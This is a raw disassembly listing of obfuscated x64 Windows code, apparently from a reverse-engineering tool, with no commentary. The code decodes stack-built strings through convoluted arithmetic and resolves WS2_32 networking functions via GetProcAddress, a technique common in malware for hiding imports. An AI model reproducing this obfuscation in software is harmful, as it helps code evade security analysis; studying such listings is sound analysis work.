lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400663cb
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
add r9b, 0x46
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140066509
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400664cf
sub r9b, 0x12
mov ecx, 0x3f
movzx eax, r9b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400664cf
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
inc r8
dec r11
inc r11
jmp 0x140065af3
lea edx, [r9 + 0x5e]
mov ecx, gethostname
jmp 0x14006647c
movzx r9d, r11b
lea edx, [r9 + 0x16]
mov ecx, 0x33
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 2
movzx eax, r10b
and al, r9b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x70], cl
inc r8
dec r11
inc r11
jmp 0x140065af3
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x2e
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140065af3
movabs rcx, 0xb80f9a91b3378d9a
add rcx, r11
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x36
add dil, cl
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x28
add cl, r10b
mov byte [rbp + r11 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
lea rcx, [r11 + r13]
and sil, cl
mov eax, 0x23
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x140065af0
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065ad7
lea rdx, [rbp + 0x1770788]
jmp 0x1400665c5
lea rdx, [rbp + 0x10223da]
jmp 0x1400665c5
lea rdx, [rbp + 0x70]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov byte [rbp + 0x90], 0x1f
mov byte [rbp + 0x91], 0x3e
mov byte [rbp + 0x92], 0x2c
mov byte [rbp + 0x93], 0xa
mov byte [rbp + 0x94], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x95], recvfrom
mov byte [rbp + 0x96], 0
mov byte [rbp + 0x97], recvfrom
mov byte [rbp + 0x98], reloc.WS2_32.dll_socket
mov byte [rbp + 0x99], 0x2d
mov byte [rbp + 0x9a], 9
mov byte [rbp + 0x9b], reloc.WS2_32.dll_listen
mov byte [rbp + 0x9c], 3
mov byte [rbp + 0x9d], 0xd6
mov byte [rbp + 0x9e], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x9f], eax
mov word [rbp + 0xa3], ax
movabs rsi, 0xc52b7e843ea67d1b
movabs r14, 0xee8772a633da65f3
movabs r13, 0x6430759db68d6bbd
movabs r12, 0x4f827b8cbbf37751
movzx edi, byte [rbp + 0x400]
nop word [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x140067261
movzx r10d, byte [rbp + r11 + 0x90]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140067258
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400666dc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x43
jmp 0x140066730
je 0x1400671e8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006715b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006712f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067114
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400670d3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400670b2
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006706b
movzx r9d, r11b
cmp r8, r11
ja 0x14006724f
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006675e
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x140066792
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067053
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067036
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006701b
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140066fec
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140066cf5
nop
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140066cda
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140066cb1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140066c8e
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140066c6f
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140066c4f
lea rcx, [r8 + 0x28]
cmp rbx, rcx
je 0x140066c2f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140066c14
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140066bf4
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140066bc5
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x140067232
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140067215
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140066965
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14006694a
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14006692f
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x140066b6f
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140066b22
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140066ae2
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140066aba
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400667a0
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140066a8b
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140066a6b
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140066a4c
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140066a2c
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140066a0c
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x1400669ed
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x1400669ca
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400669a1
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140066982
lea rbx, [r8 + 6]
lea r8, [rbx + 9]
jmp 0x1400667a0
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140066792
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x140066734
add r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
jmp 0x1400666b0
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140067085
sub r9b, 0x7e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140066693
add r9b, 0x4c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x14
dec r11
inc r11
jmp 0x140066693
lea edx, [r9 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400670ed
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
add rbx, r8
jmp 0x140067142
sub r9b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140067142
lea edx, [r9 + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x140067175
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400671a1
add r9b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
sub r9b, 0x7f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x79
mov byte [rbp + r11 + 0x90], dil
inc r11
jmp 0x140066693
lea edx, [r9 + 0x4b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xd
add dil, dl
cmp r8, 0x28
jb 0x140066ad2
lea edx, [r9 - 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140067085
lea edx, [r9 + 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6d
add dil, dl
cmp rbx, 0x64
jae 0x140066fb8
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140066ed1
lea edx, [r9 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140066af9
lea edx, [r9 - 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x19
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140066fd6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140066df6
lea edx, [r9 + 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 9
jmp 0x140066b39
add r9b, 0x4a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 6
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400671a1
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140067175
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067142
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
add rbx, r8
jmp 0x140067142
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400670ed
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
dec r11
inc r11
jmp 0x140066693
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140066693
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140067085
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140066d1c
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x140066b89
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066d54
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066d7c
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067175
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066da2
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x140067142
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066dce
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140067142
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066b89
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400670ed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066e1e
lea edx, [r9 - 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x7d
add dil, dl
jmp 0x140067085
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066e47
add r9b, 0x7d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6b
add rbx, r8
jmp 0x140067142
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066e6d
sub r9b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x1b
jmp 0x140067142
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066e95
lea edx, [r9 - 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5f
add dil, dl
jmp 0x140067175
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066b3c
add r9b, 0x55
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x53
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066f09
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066f31
lea edx, [r9 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140067175
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066f5d
sub r9b, 0x4c
movzx eax, r10b
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x140067142
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140066f8c
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140066693
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140066afc
lea edx, [r9 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140067085
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400670ed
lea ecx, [r9 + 0x2e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x42]
jmp 0x140067175
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x35
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
lea ecx, [r9 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x140067175
add r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5d
jmp 0x140067142
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
jmp 0x140067085
movzx r9d, r11b
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
sub r9b, 0x23
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
inc r8
dec r11
inc r11
jmp 0x140066693
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
dec r11
inc r11
jmp 0x140066693
movzx r9d, r11b
lea ecx, [r9 + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x67
add r9b, 0x13
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x7b
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
add rbx, r8
jmp 0x140067142
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
add rbx, r8
jmp 0x140067142
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x5b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140066693
lea rcx, [r11 + r13]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x2b
add dil, cl
movzx r9d, r11b
add r9b, 0x49
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
inc cl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x90], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x90], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x37
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140066693
add r9b, 7
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x31
jmp 0x140066690
sub r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x49
jmp 0x140066680
lea rdx, [rbp + 0x15c0eb4]
jmp 0x140067268
lea rdx, [rbp + 0x1028bcf]
jmp 0x140067268
lea rdx, [rbp + 0x90]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x260], 0xd4
mov byte [rbp + 0x261], 0xbe
mov byte [rbp + 0x262], 0xb9
mov byte [rbp + 0x263], 0xb8
mov byte [rbp + 0x264], 0xaf
mov byte [rbp + 0x265], 0x51
mov byte [rbp + 0x266], 0x43
mov byte [rbp + 0x267], 0x4d
mov byte [rbp + 0x268], 0x23
mov byte [rbp + 0x269], 0x4d
mov byte [rbp + 0x26a], 0x3b
mov byte [rbp + 0x26b], 0x56
mov byte [rbp + 0x26c], 0x57
mov byte [rbp + 0x26d], 0x2a
mov byte [rbp + 0x26e], 0x5c
mov byte [rbp + 0x26f], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x270], 0xd6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x271], xmm0
mov dword [rbp + 0x281], eax
movabs r12, 0x173674bf2c1d7d7b
movabs r13, 0x45a35e3d84587871
movzx edi, byte [rbp + 0x400]
nop word [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x25
jae 0x140067b01
movzx r11d, byte [rbp + rsi + 0x260]
mov r14d, r11d
nop dword [rax + rax]
cmp rbx, rsi
ja 0x140067af8
lea r9, [r8 + 1]
cmp rbx, r9
jae 0x140067388
lea rcx, [rsi + r12]
mov rax, r14
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r14
add rdi, rcx
sub dil, 0x5d
lea rcx, [r8 + 2]
lea rdx, [r8 + 5]
lea r10, [r8 + 3]
jmp 0x1400673c2
je 0x140067aa7
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x140067a49
lea rdx, [r8 + 5]
cmp rbx, rdx
je 0x1400679f0
lea r10, [r8 + 3]
cmp rbx, r10
je 0x1400679d0
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140067989
cmp r8, rsi
ja 0x140067aef
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400673eb
lea ecx, [rsi + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x5f
jmp 0x140067413
cmp rbx, r9
je 0x14006796d
cmp rbx, rcx
je 0x14006794d
cmp rbx, rdx
je 0x140067933
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400678e9
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x1400675d5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400675b2
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006758b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140067571
mov rbx, rax
lea r8, [rax + 0x2a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140067ad2
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400674ab
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140067530
mov rbx, rax
lea r8, [rax + 0x3e8]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140067505
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400674e3
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400674c5
mov rbx, rax
lea r8, [rax + 0x20]
jmp 0x140067420
lea ecx, [rsi - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xb
jmp 0x140067350
lea ecx, [rsi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
movzx r9d, sil
jmp 0x1400679a3
lea edx, [rsi - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, sil
jmp 0x140067903
lea ecx, [rsi + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
lea ecx, [rsi - 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x53
cmp r8, 8
jb 0x14006789a
movzx r9d, sil
lea ecx, [r9 + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x1c]
jmp 0x1400679a3
lea ecx, [rsi - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x140067a67
lea edx, [rsi - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x140067332
movzx r9d, sil
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400679a3
cmp rbx, r10
jae 0x140067654
lea ecx, [rsi + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5d
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x1400678cc
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x140067733
lea ecx, [rsi + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x29
cmp rbx, 0x42
jae 0x1400678aa
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x1400677e2
lea edx, [rsi + 0x66]
movzx eax, dl
and al, r11b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140067545
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067688
lea ecx, [rsi + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x42
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400676af
lea edx, [rsi + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140067a67
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400676da
lea edx, [rsi - 4]
movzx eax, dl
and al, r11b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, sil
jmp 0x140067a0a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140067707
lea edx, [rsi - 0xe]
movzx eax, dl
and al, r11b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec rsi
inc rsi
jmp 0x140067332
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400675ef
movzx r9d, sil
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x12
jmp 0x1400679a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006775b
movzx r9d, sil
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x1d
jmp 0x1400679a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140067787
lea ecx, [rsi + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x63
inc r8
dec rsi
inc rsi
jmp 0x140067332
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400677aa
lea ecx, [rsi + 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x7b
jmp 0x140067a30
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006761f
lea ecx, [rsi - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x4d
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006781a
lea edx, [rsi + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140067841
lea edx, [rsi + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140067a30
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140067869
movzx r9d, sil
lea ecx, [r9 + 0x2a]
